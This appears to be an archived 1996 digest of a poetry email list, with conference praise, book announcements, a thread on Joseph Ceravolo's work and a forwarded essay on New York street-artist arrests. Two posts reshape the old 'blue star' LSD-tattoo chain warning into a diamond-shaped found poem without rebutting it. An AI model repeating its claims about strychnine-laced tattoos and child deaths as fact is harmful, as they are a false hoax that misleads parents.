You know it's time to change your .sig when someone you've only met over email quotes it EXACTLY the first time he meets you. Well Chris Strofollino was furrier than I thought, and the drinking was fine. Some excellent papers, but some, including my own, indifferent or underthought. Thank God nobody was there, the spouse of the other presented taking furious notes. But the papers were not the point. The intellectual and other conversation that surrounded them will sustain me for many weeks, perhaps months. Hence my title. I wasn't at his talk so I can't comment directly but the tone of the reponse by those who were offended seemed astonishingly narrow. Thanks to George H. for his post. OKAY, well the thing about the conference was Barrett Watten was always and everywhere "on," ready to talk, and that's why he's my model for intellectual engagement. It's not pro wrestling; it's the news. We'll see how long that lasts. High point for me: Rachel Blau DuPlessis's excellent talk, which I will abstract when I have more time. Also Bob Perelman's revealing summary of Louis Martz's talk in conversation, which made me doubly glad I didn't go. And meeting all of you, each of whom I adore.

Negative effect of the conference being sleep depletion, which I mean now to correct. More elaborations later.

Cheers,
David
~~~
~~~

370. **Hank Lazer**
Re: Oronomainia
Mon 24 Jun 1996

I second Paul Naylor's sense of the conference. I too found it to be one of the best I've ever attended. Extremely high quality papers being read. Listening to Sharon Thesen's paper on the Olson-Boldereff correspondence, I sat there certain that I was hearing about research that would fundamentally alter the way we read Olson's early work, especially the development of the Maximus poems. A brilliant paper. As one plenary speaker (one of the T-shirted Elect) remarked to me, the session papers were usually much better than the plenary addresses.

For me, Ted Enslin's reading was extraordinary. I have lots to learn from Ted's intricate musicality--a beautiful continuity of Zukfosky's micro-musics and the current work of John Taggart. Many many other gems at the conference--any naming will be incomplete, idiosyncratic, etc. I too was moved to see that a number of younger poet/critics have dedicated themselves to working with some older folks to keep the writing alive, edited, in print--for me, most movingly, Joel Kuszai's work with Mac Low's archives (of the 1940s and 1950s) and Mark Nowak's work with Ted Enslin's poetry. Mark is editing Ted's poems for a _Selected Poems_ from the National POetry Foundation. (There are over 1800 pages of Ted's poems in print, not counting his long works....)

Like Paul Naylor, I live in the hinterlands, so the learning at events sustains me for many months. It also felt like Poetry Camp. Breakfast at 7AM; last session or reading usually ending around 11:30, followed by the cash bar. Long days. So many high quality talks it was impossible to be at all of them, even if one chose to panel-hop to Lynn Keller on Guest, Joan Retallack on Mac Low, Ben Friedlander on O'Hara, Aldon on Russell Atkins, Mark Scroggins on Jonas, Maria Damon on Kaufman, Lorenzo Thomas on Tolson (surely one of us can be effective in bringing Tolson's work back into print!), and on and on. I certainly reached times when I could no longer follow sentences, so went for a walk or took a nap. Ah, the dorm rooms: the ceiling of mine adorned with glowing planets and stars and comets.

In the aftermath of the Friday night group reading, a big snapshot of writing now, I find myself mulling over the place, nature, and preponderance of humor & satire in current poetry.

And the cold weather, the rain, the fog.... Now back in muggy Tuscaloosa, heat index over 100, written interrogatories to do for a pending lawsuit, lots of office correspondence, and a lobster-fueled desire to read, read, write, read, write.

Oh yes, one interesting materialistic note: chief sponsor of the event? Stephen King. I sure hope Loss's photo of King & Dorn turns out....

Lots more to add, so, others, please do....

Hank Lazer

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371. george hartley
Boston review
Tue 25 Jun 1996

I just want to thank Dan Bouchard for posting the announcement for the Boston poetry reading of two weeks ago. I was in Massachusetts visting family before driving up to Maine, & was delighted to go to my first reading in my hometown (I wasn't active in poetry until grad school in New Mexico). The Torras hosted the event in their house, & I so enjoyed their hospitality & sense of Boston poetry history (and artwork on the walls). The poets varied in style but were each charged and refreshing: Ange Mlinko, Damon Krokowski, Sianne Ngai, Dan Bouchard, and a new good friend of mine, Chris Straffolino (soon of Jersey City). Thanks, Boston! --George

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372. k.a. hehir
Re: DING!
Tue 25 Jun 1996

---

just returned from the first of what will now become a series of readings. a hat-full of of ales on my head. poetry is alive and well in londonOnt.(George the Spasms just filled the Gallery and I think they may be a fitting house band).
,

We can only hope to be soo fresh so often.

a callow good-bye,

kevin hehir

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373. Pierre Joris
Web Del Sol (fwd)
Tue 25 Jun 1996

Haven't had time to check this one out myself, but thought it would be of interest to this list -- Pierre

---------- Forwarded message ----------
Date: Tue, 25 Jun 1996 01:06:44 -0400
From: Diem Jones <[redacted]>

To: [redacted]
Subject: Web Del Sol

>WEB DEL SOL
>
>The literary arts now have a locus on the World Wide Web at Web Del Sol, the only Internet site dedicated to offering the best new American and international writing from both individual authors and established literary publications. The site also serves as a resource providing a comprehensive link to the range of literary activities and information available on the Web.
>
>Web Del Sol seeks out experimental, literary, mainstream works from throughout the world. Included at the site are poems, short stories, prose poems, novel excerpts, essays, and interviews. The Web Del Sol project was begun in November, 1995, posting only two or three short stories. In less than six months it has expanded into an independent Web literary publication and resource site to bring a wide variety of new and distinguished prose and poetry to the Internet. Publishing collections of works by featured writers such as Ilan Stavans, Michael Martone, Ben Marcus, Kristy Nielsen, and Madison Smartt Bell, Web Del Sol includes background information that allows the reader to learn more of the life behind the words.
>
>Web Del Sol also plays host to some of the world's finest literary publications, including AGNI, The Literary Review, Artful Dodge, Conjunctions, and Zyzzyva, creating home pages that give them a distinct presence on the WWW to promote the writers and poets they have discovered. In addition, WDS serves as a master one-stop jump for all other superior quality literary arts publications on the WWW, among them Mississippi Review, Ploughshares, Hootenanny, Missouri Review, Cream City Review, Postmodern Culture, Creative Nonfiction, and Sycamore Review.
>
>As a comprehensive writer resource site, Web Del Sol provides links to writing labs, writing programs, writer newsgroups, online bookstores, references, an extensive list of news sources, and a complex of the latest on-screen search engine forms including MetaCrawler and Snoopie.
>
>Web Del Sol will continue to stay in touch with the latest literary developments on the Internet and elsewhere, culling out the best Web sites, material, and writers for inclusion while striving to bring the literary arts to the widest possible audience through promotion on the Internet.
>
The Web Del Sol address on the Internet (World Wide Web) is

http://www.cais.net/aesir/fiction
>
>**Note: the site is best viewed with Netscape 2.0+
>
>
>
==========
WEB DEL SOL
http://www.cais.net/aesir/fiction
LOCUS OF LITERARY ART ON THE WWW

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374. Steven Clay
Granary Books Reception
Tue 25 Jun 1996

If you happen to be in New York City Thursday June 27 you are invited to attend a publication party for 5 new works published by Granary Books. Please note that the reception is NOT at Granary but at EXIT ART - be sure to use the 88 Crosby Street entrance (between Prince and Spring.) The reception is from 6-8 and a good many of the artists & writers noted below will be present. The books being celebrated are:

Holton Rower - NON
An artist's book in the abstract - materials run amok

Jerome Rothenberg & David Rathman - PICTURES OF THE CRUCIFIXION - New poems with drawings by Minneapolis based artist David Rathman

Lewis Warsh - BUSTIN'S ISLAND '68 - Warsh's memoir of the summer of '68 . . . and after. Wonderful black and white photographs of Ted Berrigan, Anne Waldman, Warsh, Tom Clark, Joanne Kyger . . .

Ric Haynes - REJECTED FROM MARS
- psychological cartoon/nightmare - handpainted linocuts - 3 years in the making

Ligorano/Reese - THE CORONA PALIMPSEST
- based on their video installation-Walt Disney & R. Crumb meet Dan Rather

See you there.
See the Granary Books web site:
www.granarybooks.com

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375. **george hartley**
oops!
Tue 25 Jun 1996

Sorry, Chris! I meant Straffaluna. I shouldn't type so late at night. --George

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376. **Mark Roberts**
AWOL: Five Island Press New Poets Series 4 (forwarded)
Tue 25 Jun 1996

NB all prices are Aust dollars. enquiries/orders to [redacted]

> *Mime-Version: 1.0*
> *Date: Tue, 25 Jun 1996 06:57:28 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Five Island Press New Poets Series 4*
>
> *The following information has been posted by AWOL for Five Islands Press.*
> *Please address any enquiries to the contact number listed below.*
>
> **********
>
> *You are invited to the launch of scarp & five islands press NEW POETS PUBLISHING PROGRAM 1996 - SERIES 4.*
>
> *Susan Bower Factory joker*
> *Lis Hoffmann Libido*
> *Peter Kirkpartrick Wish you were here*
> *Lorraine Marwood Skinprint*
> *Mark O'Flynn The too bright sun*
> *Duncan Richardson Aim at morning*
>
> *SYDNEY 6pm Thursday 27 June Gleebooks (upstairs) 49 Glebe Point Road Glebe.*
> *MELBOURNE 2pm Saturday 29 June La Mama 205 Faraday Street Carlton*
> *BRISBANE 7pm Friday 2 August Universal Joint Gallery, 11 Doggett Street Teneriffe*
>
> *For further information contact Five Island Press PO Box U34 Wollongong University 2500, Phone 042 213867, Fax 042 213301*
>
> *FIVE ISLAND PRESS titles are distributed by AWOL. If your local bookshop does not stock these titles they can be ordered through AWOL's smalll press distribution service.*
>
> *These titles are also avaialble through AWOL's Virtual Bookshop for $7.50.*

> *(set of 6 books $30.00, bound volume of all six titles $20.00). email AWOL for details*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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377. Mark Wallace
Jorge Guitar
Tue 25 Jun 1996

Will Jorge Guitart please contact me backchannel, or will someone who knows his e-mail address send it to me? I tried to find him on the poetics address list, but his name is not there, and I'm wondering if he's signed off.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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378. Burt Kimmelman
orono thanks
Tue 25 Jun 1996

It occurs to me to mention (at the risk of stating the obvious, perhaps) that the overwhelmingly positive responses to the Orono conference being posted here should also be duplicated in hard copy, with letter-head when possible, and sent to Burt Hatlen and Sylvester Pollet so they have a record for when they need to explain themselves to their administration, grant funding agencies, etc.

Now, let me also take this opportunity to say electronically that the conference for me (unfortunately I did not get there till friday afternoon) was utterly thrilling and nurturing. I found the quality of the work presented to be at the highest level all around, and getting to meet so many people in the flesh was fantastic. Overall--and here I must say that this seems typical of NPF--it is a real feat to be able to have a conference that is warm and generally on a human scale and yet that is criticaly rigorous. I only feel bad that I missed so very many things that I wanted so much to catch, and that I did NOT get to meet some of us on this list. But then, this is an embarrassment of riches, and ultimately to be hoped for.

Burt Kimmelman

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379. Mark Wallace
Joseph Ceravolo
Tue 25 Jun 1996

Jordan Davis pointed out several days ago that a new Joseph Ceravolo website has gone up, courtesy of his wife and his son. The samples there are very interesting, and I can only wish that more was available. I would have wanted to download the whole thing!

I'm wondering about other takes on Ceravolo's work. Although I think of him mainly in a New York school context, the syntax of his work seems more odd and torqued than is usual in that context, except perhaps for O'Hara at his most wonderfully frantic. But Ceravolo's syntax seems more distorted, although only at key instants--it seems almost a language poetry-like attempt to foreground syntax in a way that disrupts what appears to be a straightforward and simple meditation. Those distortions add a new element to the quiet meditation that his work often presents--one can't quite get back of the language to the world out there, and the notion of meditation itself therefore gets called into question.

Most of his books are long out of print--an under construction section of the website says it will later feature locations at which all of Ceravolo's work can be

found. Anybody have any further input on where those long-lost books can be found?

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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380. Bob Holman
Sparrow for President
Tue 25 Jun 1996

...and in the Elections column, Bob Holman passes along:

POET ANNOUNCES HIS CANDIDACY FOR REPUBLICAN PRESIDENTIAL NOMINATION "Revive the Party of Lincoln in the Revolutionary Spirit of Lincoln!" Cries Sparrow Mouth Almighty/Mercury Records Web Site to Monitor Campaign's Progress

The poet Sparrow, one of the stars of The United States of Poetry, will formally announce his bid for the Republican presidential nomination at noon on Thursday, June 27 at a press conference to be held at the base of the statue of Atlas in front of the International Building at 630 Fifth Avenue between 50th and 51st Streets. Sparrow's announcement, cast into verse and available as audio, will also appear in three parts for three consecutive weeks starting on Thursday, June 27. Every Thursday, you can find the new verse at http://www.mercuryrecords.com/poets. Sparrow is the first in a series of poets speaking out on topics inspired by the events of the election year. Citing Percy Bysshe Shelley's assertion that poets are "the unacknowledged legislators of the world," Sparrow has decided to run for the Republican nomination out of his abiding affection for Abraham Lincoln, the party's most illustrious member. "Lincoln was a Republican who loved the working man," Sparrow notes. He cites a speech written by then Congressman-Elect Lincoln in 1847: "Inasmuch as most good things are produced by labor, it follows that all such things of right belong to those whose labor has produced them. But it has so happened in all ages of the world, that some have labored, and others have, without labor, enjoyed a large proportion of the fruits. This is wrong and should not continue. To secure to each laborer the whole product of his labor...is a most worthy object of any good government." Sizing up Bob Dole, the Republican's presumptive nominee, Sparrow asks, "Who is the more Lincolnesque, Bob Dole or

I? Who is lanky, bearded, eccentric, humorous, wise, Biblical, literary, radical and self-taught, and who is a vicious imposter from Kansas?" As the only poet in the race, Sparrow is demanding equal time on television with the other candidates. "All the other poets are speaking prose--vast, uninterrupted, listless, prosaic prose," he notes. "Only I am speaking a flowing, lyric, olive-colored poetry." His platform? It begins with "the near-abolition of money" and proceeds with the declaration of a Jubilee Year, "a year when all debts are forgiven and all slaves are freed." Sparrow is represented by "Testimonial" on The United States of Poetry, the widely-acclaimed soundtrack to the PBS tv series and the first release on Mouth Almighty, Mercury's spoken word imprint. He created a sensation last year when he picketed The New Yorker magazine, holding a placard reading, "My poetry is as bad as yours." His work has since been published in that august journal.

For more information, please contact Mercury Records, Media & Artist Relations or Mouth Almighty Records:

Carrie Ross Bill Adler Mercury Records Mouth Almighty Records [redacted]
[redacted]

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381. Kevin Killian

Jeremy Reed

Tue 25 Jun 1996

This is Kevin Killian speaking. Listen, I have to review a book "Bitter Blue" by Jeremy Reed, it says on the back of the book he is a British poet with 8 volumes of poetry. I wonder if any British pals on this list-serv can tell me anything about his poetry and or career or any strictly "back channel" information about, well, you know.

This book is a mixed genre account of his drug intoxification and also withdrawal and includes plenty of scoop on Anna Kavan as well.

Thanks in advance from,

An ignorant US reader

↑ Index

382. Gwyn McVay
Susanne Levy
Tue 25 Jun 1996

Does anyone out there in Poetics-land know the work of--or know personally--Pierre?--the poet and artist Susanne Levy? According to what little I could find in the files at the Nat'l Museum of Women in the Arts, she was born in Basel in 1921 and now lives in Arnsbach. The work of hers on display was /Toene der Stille/, a book of her poems with design embossed into pure white handmade cotton paper. There are at least two scholarly monographs about her, both published by Verlag Zuerich; she has had tons of exhibits, both alone and with groups, all over Europe, but seems to be pretty unheard of in the Benighted States. Her poems are extremely reminiscent of later Celan, in the Breathturn/Atemwende time.

There's also an exhibit of 20th-century art there that includes Theresa Hak Kyung Cha's *Passages/Paysages* and Nancy Spero's *Codex Artaud*.

Gwyn

↑ Index

383. JOEL LEWIS
Re: Joseph Ceravolo
Wed 26 Jun 1996

Actually a number of Ceravolo books are availible & in print. Gotham Books certainly has copies of Millennium Dust, Transmigration Solo can still be had from Coffeehouse, INRI is still availible from Swollen Magpie (which Charles North, Paul Violi,etc) and, possibly, Spring in this World of Poor Mutts can be obtaoined thru Ron Padgett(he was giving away copies at Joe's St. mark's memorial. Only the very early chabooks are hard to find.

I knew Joe for a number of years and he strikes me as the great religous poet of our time. The NY School connection is accidental. There is still much in manuscript & a great long poem called Hell Gate of which there is a tape of Joe reading it. I'm amazed that there are about 800 hits on his web site -- I don't think any of his books sold that many copies. I still remember him at a festivak honoring Williams, reading after Daniel Halpern. He read each poem twice "to help you understand it", he said, but he could have read them 60 times to an audience anticiapting more mewling melodramas of the singular self.

↑ Index

384. **Christopher Filkins**
LSD lsd l s d led sleds
Wed 26 Jun 1996

Looks much better justified.
> >
> > > I
> > > had
> > > heard
> > > from my
> > > co-worker
> > > about a big
> > > problem today.
> > > It seems my kid
> > > and your kid, all
> > > of our kids have to
> > > worry about evil drug
> > > dealers giving out fake
> > > tattoos with acid in them.
> > > This is not a joke or rumor.
> > > This is a serious threat that
> > > must not be taken lightly. They
> > > have a blue star on them, but not
> > > all - some have cartoons or such on
> > > them. You must be very careful with a
> > > blue star tattoo because the strychnine
> > > can be absorbed into your blood from just
> > > handling the paper. This horrible thing has
> > > a reason to it - the dealers want LSD addicts
> > > to buy more after they are hooked. Symptoms you
> > > should watch for are: hallucinations, mood swings,
> > > uncontrolled laughter, drop in body temperature,
> > > dizziness or disorientation, severely dilated
> > > pupils, and severe vomiting. Some time - up
> > > to an hour, can pass between contact with
> > > the drug and onset of symptoms. If your
> > > child has fell victim to this heinous
> > > crime, you must take him quickly to
> > > a hospital. Children hare already
> > > died from this, LSD overdose is
> > > easy. If you see a suspicious
> > > person giving tattoos, foil

> > > wrapped especially, phone
> > > your police immediately.
> > > This is a real danger
> > > and is growing much
> > > faster than I can
> > > spread warnings
> > > alone. Thanks
> > > for reading
> > > this that
> > > I wrote
> > > about
> > > LSD
> > > !

↑ Index

385. Ron Silliman
Joe Ceravolo
Wed 26 Jun 1996

Mark (et al),

The web is a perfect tool for the project that Joe Ceravolo's son seems to be putting together--making an essentially "hard-to-find" poet's work available to any and all. There had only been a few hundred hits when I visited the other day, but I recommend it to everyone on this list heartily (and, Loss, if it hasn't been done, set up a link from the author's index at EPC forthwith).

http://www.csam.montclair.edu/~ceravolo/

There's a link from there to the site done by Ceravolo's wife, which includes a short bio definitely worth reading. And Jim (the son) responds quickly to email.

I've never seen Ceravolo's work in any context that wasn't clearly associated with the NY School (with the exceptions of the two talks I've given myself that focus in part on his work). Tho I never met the man, I was told (by David Shapiro or Joel Lewis? Probably the latter, tho I don't recall exactly) that Ceravolo was "puzzled" by "Migratory Meaning" when it first came out in print.

You're quite right that his work does things that nobody else involved with the NY School has done--the base seems very much to have been surrealism and there's also a distinct zen air (tho whether that's simply intuitive on his part, or whether he was interested in non-western conceptions of life and art I can't say). To my knowledge he never wrote or spoke critically on the subject of his writing -- I'd love to discover otherwise. And it seems obvious that his reputation "suffered" because he didn't hustle his work and generally fell into the trap

that befalls too many lyric writers -- virtually all of the major critical writing post WW2 about the "parallel tradition" tends to focus elsewhere (the notable exceptions being O'Hara and Creeley).

Now that the selected poems has gotten an excellent response, I suppose we can hope for a collected.

All best,

Ron Silliman
[redacted]

↑ Index

386. **Cathy**
Re: POETICS Digest - 24 Jun 1996 to 25 Jun 1996
Wed 26 Jun 1996

Mark Wallace wrote:
> Most of his books are long out of print--an under construction section of
> the website says it will later feature locations at which all of
> Ceravolo's work can be found. Anybody have any further input on where
> those long-lost books can be found?
>
> mark wallace

I ordered Spring In This World of Poor Mutts and Transmigration Solo by Ceravolo at a little local bookshop here--came up with a sweet hardcover of Spring. Also got Transmigration Solo by Toothpaste Press, a first edition. 100 were signed and numbered--I got number 9--this was at Xmas. A friend just got the signed number 30. I think these have been sitting around in the basement at Coffee House.

↑ Index

387. **Henry Gould**
Martin Nakell whereabouts
Wed 26 Jun 1996

Does anyone have an email or street address for Martin Nakell, who attended the Hoboken conference? Please backchannel only to [redacted]. Thanks - Henry

↑ Index

388. **Loss Glazier**
Re: Joe Ceravolo
Wed 26 Jun 1996

At 03:08 AM 6/26/96 -0700, you wrote:
>
>The web is a perfect tool for the project that Joe Ceravolo's son seems
>to be putting together--making an essentially "hard-to-find" poet's
>work available to any and all. There had only been a few hundred hits
>when I visited the other day, but I recommend it to everyone on this
>list heartily (and, Loss, if it hasn't been done, set up a link from
>the author's index at EPC forthwith).
>
>http://www.csam.montclair.edu/~ceravolo/

Ron and others,

Yes, this link is under way. Thanks!

I was a little disappointed that more of the work was not there. It gives you a sense or flavor, of course, and that's good. It's always more thrilling to see complete works - or complete texts of specific books.

I mean, let us *really* read the work ... that would be a true appreciation of the work ...

(I also don't think it would cut into potential book sales.)

Loss

↑ Index

389. **Loss Glazier**
Tender Buttons
Wed 26 Jun 1996

Speaking of full text check out the Stein link at the epc

http://writing.upenn.edu/epc/authors/stein/

Loss

↑ Index

390. **Jordan Davis**
Re: Joe Ceravolo
Wed 26 Jun 1996

Re Ceravolo and the NY School:

Kenneth Koch's _Poems 1952-1953_ from Black Sparrow (selections from which appear in _On the Great Atlantic Rainway_, the 1994 selected) and Ashbery's _Tennis Court Oath_ are some obvious antecedents. A complete collected Ceravolo would run thousands of pages--maybe a collected Books of would be better. Peter Gizzi published in O-blek some poems from _Mad Angels_, Ceravolo's last manuscript. It should be noted that the Coffee House book is drawn mainly from _Spring in this World of Poor Mutts_, actually a fairly difficult book to find--I bought Columbia University Press's in-house library copy a few years ago. Someone who seems to have inherited Ceravolo's feelings about syntax is Kim Lyons; her book _In Padua_ is available from SPD.

Jordan Davis

↑ Index

391. **Rod Smith**
Re: Joe Ceravolo
Wed 26 Jun 1996

Spring In This World of Poor Mutts can still be had in hardcover for $17.95. The pb is out o' print. Believe we have one at Bridge St tho I'm at home so can't say right now. SPD should have some left.

Rod

↑ Index

392. **Tony Green**
Re: [redacted]
Wed 26 Jun 1996

Hi Charles, LINEbreak Sounds a Great idea.

Tony Green,
e-mail: [redacted]

↑ Index

393. **Tony Green**
logoparaphernalia
Wed 26 Jun 1996

I been reading art history exams, wh reminds me of last year's words:

ursury remanscent collaspe ambigious connosoir golden hew

beuorgois a composto effect divinity & debuchary preportions

Cistene chapel polasters prolificity harminous Madonna

they have fleed Bacchus & Ariande illusionistical descrepencies
lumonious Bacchus & Andriane indomiateable Sistern chapel
ceerubs timbricity his pynchon for detail stripped pants
highten deciple deliminate confusement encaptilated
luxioarious howevery illuminous fictictious pilgramers
anthrometomorphes diadactic to illicit vagurities
Baachus & Ariadne Tinterotto & Titan glimp cherbs
Cruixifcation cinemagraphic monumentous delevopment scense
guesture boldging muscles optonimoised caterogise grandeoise
tranistory incoroparte swrill Bacillica atopped fascial
transcience fushion this story contains a story one in which is
sad perceptionally virtuosic sillouettes origonaly bueatiful
decripitude folliage exaburate a line of figs stretched out
across the picture plane Farasee the upmost importance foilage
porportion deapth

best wishes to all

Tony Green,
e-mail: [redacted]

↑ Index

394. Tim wood
Re: LSD lsd l s d led sleds
Thu 27 Jun 1996

Christopher... the diamond (because my reader is designed to show forwarded text in that color) actually showed up blue on my end... subversive software I think. If this ever gets published, push for the blue ink, most definately...

> *I*
> *had*
> *heard*
> *from my*
> *co-worker*
> *about a big*
> *problem today.*
> *It seems my kid*
> *and your kid, all*

of our kids have to
worry about evil drug
dealers giving out fake
tattoos with acid in them.
This is not a joke or rumor.
This is a serious threat that
must not be taken lightly. They
have a blue star on them, but not
all - some have cartoons or such on
them. You must be very careful with a
blue star tattoo because the strychnine
can be absorbed into your blood from just
handling the paper. This horrible thing has
a reason to it - the dealers want LSD addicts
to buy more after they are hooked. Symptoms you
should watch for are: hallucinations, mood swings,
uncontrolled laughter, drop in body temperature,
dizziness or disorientation, severely dilated
pupils, and severe vomiting. Some time - up
to an hour, can pass between contact with
the drug and onset of symptoms. If your
child has fell victim to this heinous
crime, you must take him quickly to
a hospital. Children hare already
died from this, LSD overdose is
easy. If you see a suspicious
person giving tattoos, foil
wrapped especially, phone
your police immediately.
This is a real danger
and is growing much
faster than I can
spread warnings
alone. Thanks
for reading
this that
I wrote
about
LSD
!

↑ Index

395. **Pierre Joris**

Why New York City Arrests Artists (fwd)

Thu 27 Jun 1996

Somethiing I thought could be of inetrest to this list too -- Pierre

---------- Forwarded message ----------
Date: Wed, 26 Jun 1996 08:33:24 -0700 (PDT)
From: { brad brace } <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: Why New York City Arrests Artists (fwd)

Why New York City Arrests Artists
  Robert Lederman 1996

New York City is in the midst of a social transformation in which the City's "image" has become the deciding factor in all governmental decisions. So-called "quality of life" is the new goal of City Hall's policies.

Unfortunately, it's not the average person's life quality the present administration is trying to improve. Concerns about individual rights, small scale free enterprise and public space have been replaced by a cozy partnership between corporate clients and City government. Corporations and real estate interests are now viewed as the actual proprietors of our public sidewalks, parks and streets. These interests see sidewalk displays of paintings, and street culture of any kind, as an ugly blemish damaging the exclusive appeal and market value of their properties and businesses.

Real estate associations and corporations desiring to gain absolute control over public spaces have formed their own independent governments or B.I.D.'s (Business Improvement Districts). These organizations act as an unelected and unaccountable shadow government running key areas of the City. They are authorized to collect special taxes ($42 million last year), have their own police (often paid less than the minimum wage) and are attempting to set up their own court system. The Fifth Avenue and Times Square B.I.D.s, which dominate the entire B.I.D. scheme, financed and built their own Community Court on 54th Street to handle quality of life crimes committed in their vicinity more "efficiently". B.I.D.s have been accused of "hiring goon squads" [see 1995 City Council Investigation on B.I.D.s] to force homeless people off the streets. Distinctions between business, police, and the court system blur as they become one continuous enterprise.

Sidewalk art displays have been described by B.I.D. directors as magnets for prostitution, pickpockets and crime. Artists are demonized as "parasites" in order to justify eliminating them from the streets. Previous to this new policy,

artists' displays were seen as non-threatening or as a cultural asset. New York City actually advertised the presence of street artists in travel magazines. The police were instructed not to arrest artists and that a visual artist selling his or her own signed art didn't require a license, based on the First Amendment.

In 1993, when the City's B.I.D.s, led by the Fifth Avenue Association, attempted to eliminate all sidewalk vending, artist displays were reclassified as vending and a license became a requirement. Since the City Council had previously frozen the total number of general vending licenses at the 853 then in effect, a license was, in the City's own words, "impossible for artists to obtain". Artists throughout the City were then handcuffed and arrested and had their art confiscated for the "crime" of not having a license. There is now a closed waiting list of over 5,000 applicants for a vending license; in some years, not one license has been issued.

Fearing that an independent-minded judge might find such an unreasonable licensing requirement for First Amendment protected expression unconstitutional, the City has meticulously avoided prosecuting a single artists' case in Criminal Court. None of the more than 300 artists arrested since 1993 have been found guilty of a crime. While not found guilty, artists rarely recover their confiscated paintings, which the City illegally sells at a monthly Police Department auction or destroys.

When artists brought a Federal lawsuit against the City, representatives of the B.I.D.s appeared in court and convinced a judge to rule, contradicting 50 years of Supreme, Appellate and State Court rulings, that visual art is not protected by the First Amendment. That decision is being appealed.

The B.I.D.s view sidewalk art displays as a key legal obstacle to this overall "cleansing" process. Successfully eliminating constitutionally protected activities will set the stage to eliminate or substantially restrict all street culture, public space and non-corporate expression. In arguments before the 2nd Circuit Appeals Court the City claimed that, "protection of business interests" was a prime reason for preventing artists from showing art on the street. In fact, that is their only "reason". Genuine First Amendment freedom is seen by many business interests and landlords as a threat. If the average person is allowed to use traditionally public spaces to communicate, advertise or sell their creations, it threatens the business communities monopoly on these basic activities. While politicians and corporations pay lip service to the ideas of free enterprise, freedom of speech and equal opportunity, they are trying to deny these same rights to the public.

City officials have made a concerted effort to suppress media coverage about these arrests. Reporters researching this issue have been told that their access to Police Department sources would be cut off if they continued to cover the

artists' story. Protest signs and petitions have been confiscated from artist activists, and artists have been arrested for handing out literature about the arrests.

Can New York City violate the constitutional rights of an entire class of individuals and prohibit an entire medium of communication on public property, simply because it pleases big business? While the number of individuals directly affected by these arrests is small (there are fewer than 200 artists selling their own paintings, photographs or limited-edition prints on New York's streets) the social signifigance is large.

The outcome of this issue will affect legal policies in U.S. cities for years to come. At stake is free expression and the right of the public as well as artists, to use city streets for communication. The following court cases directly relate to this issue:

Piarowski v. Illinois Community College, 759 F.2d 625, 628 (7th Cir.) -"The freedom of speech and of the press protected by the First Amendment has been interpreted to embrace purely artistic as well as political expression.". cert. denied, 474 U.S. 1007 (1985).

Serra v. United States Gen. Servs. Admin., 847 F.2d 1045, 1048 (2d Cir.1988)"...artistic expression constitutes speech for First Amendment purposes...".

Texas v. Johnson, 491 U.S. 397, 404 (1989)"We have long recognized that its protection [the First Amendment's] does not end at the spoken or written word."

414 Theater Corp. v. Murphy, 499 F.2d 1155 (2d Cir. 1974), [A case that cooresponds to the licensing issue in this case.] "The forced discontinuance of a first amendment right pending a protracted license determination is itself a prior restraint, and involves irreparable injury to the public's as well as the appellee's first amendment rights."

People v. Milbry, 530 N.Y.S.2d 928, 929 (N.Y. Crim. Ct. 1988) "Pictorial artwork, as a form of self-expression, is certainly covered by the guarantee of freedom of speech contained in both Federal and New York State Constitutions."

People v. Lessin Rodriguez, 94NO58171 N.Y.Crim.Ct. 8/8/94 [a case of an unlicensed general vending charge against a fine artist] "...because it's not a crime...it is dismissed. The First Amendment protects it."

People v. Krebs 282 N.Y.S. 2d. 996 "Purpose and the thrust of the peddler license ordinance...was not intended to strike down First Amendment rights or subject proper exercise of free speech to municipal regulations or police dictation."

["Speech" need not be in the form of words to be protected nor does it need to be "political" or even have a specific message.]

Hurley v.Irish-American Gay and Lesbian Bisexual Group, No. 94-749, 1995 WL 360192 (S. Ct. June 19, 1995) The Constitution looks beyond written or spoken words as mediums of expression...as some of these examples show, a narrow, succinctly articulable message is not a condition of constitutional protection, which if confined to expressions conveying a "particularized message" would never reach the unquestionably shielded painting of Jackson Pollack, music of Arnold Schonberg or Jabberwocky verse of Lewis Carroll".

[Selling the tangible manifestations of speech in no way invalidates its First Amendment protection.]

Virginia State Bd. of Pharmacy v. Virginia Citizens Consumer Council, 425 U.S. 748, 761 (1976) "Speech is protected even though it is a form that is sold for profit, and even though it may involve a solicitation to purchase or otherwise pay or contribute money."

United States v. National Treasury Employees Union No. 93-1170, 1995 WL 68442 (S. Ct. February 22, 1995) A ban on recieving honoraria, "...unquestionably imposes a significant burden on expressive activity...The honoraria ban imposes the kind of burden that abridges speech under the First Amendment."

Joseph Burstyn, Inc, v. Wilson 343 U.S. 495 (1952) "That books, newspapers and magazines are published and sold for profit does not prevent them from being a form of expression whose liberty is safeguarded by the First Amendment."

[Public streets are an appropriate forum for First Amendment protected activities and have consistently been found to be the traditional locale of free expression.]

See: Burson, 112 S. Ct. at 1850 ("Quintessential public forums" are "parks, streets, and sidewalks."); Frisby v. Schultz, 487 U.S. 474, 481 (1988) (residential street is a public forum); United States v. Grace, 461 U.S. 171, 176 (1983) (public sidewalks forming perimeter of the Supreme Court grounds are public forum for First Amendment purposes).

Loper v. New York City Police Dep't, 999 F.2d 699, 704 (2d Cir. 1993), The sidewalks of New York City constitute a public forum because they "...fall into the category of public property traditionally held open to the public for expressive activity."

Hague v. C.I.O., 307 U.S. 496 (1939) "Whenever the title of streets and parks may rest, they have immemorially been held in trust for the use of the public...Such use of the streets and public places has, from ancient times, been a part of the privileges, immunites, rights and liberties of citizens. The privilege

of a citizen of the United States to use the streets and parks for communication...must not, in the guise of regulation, be abridged or denied."

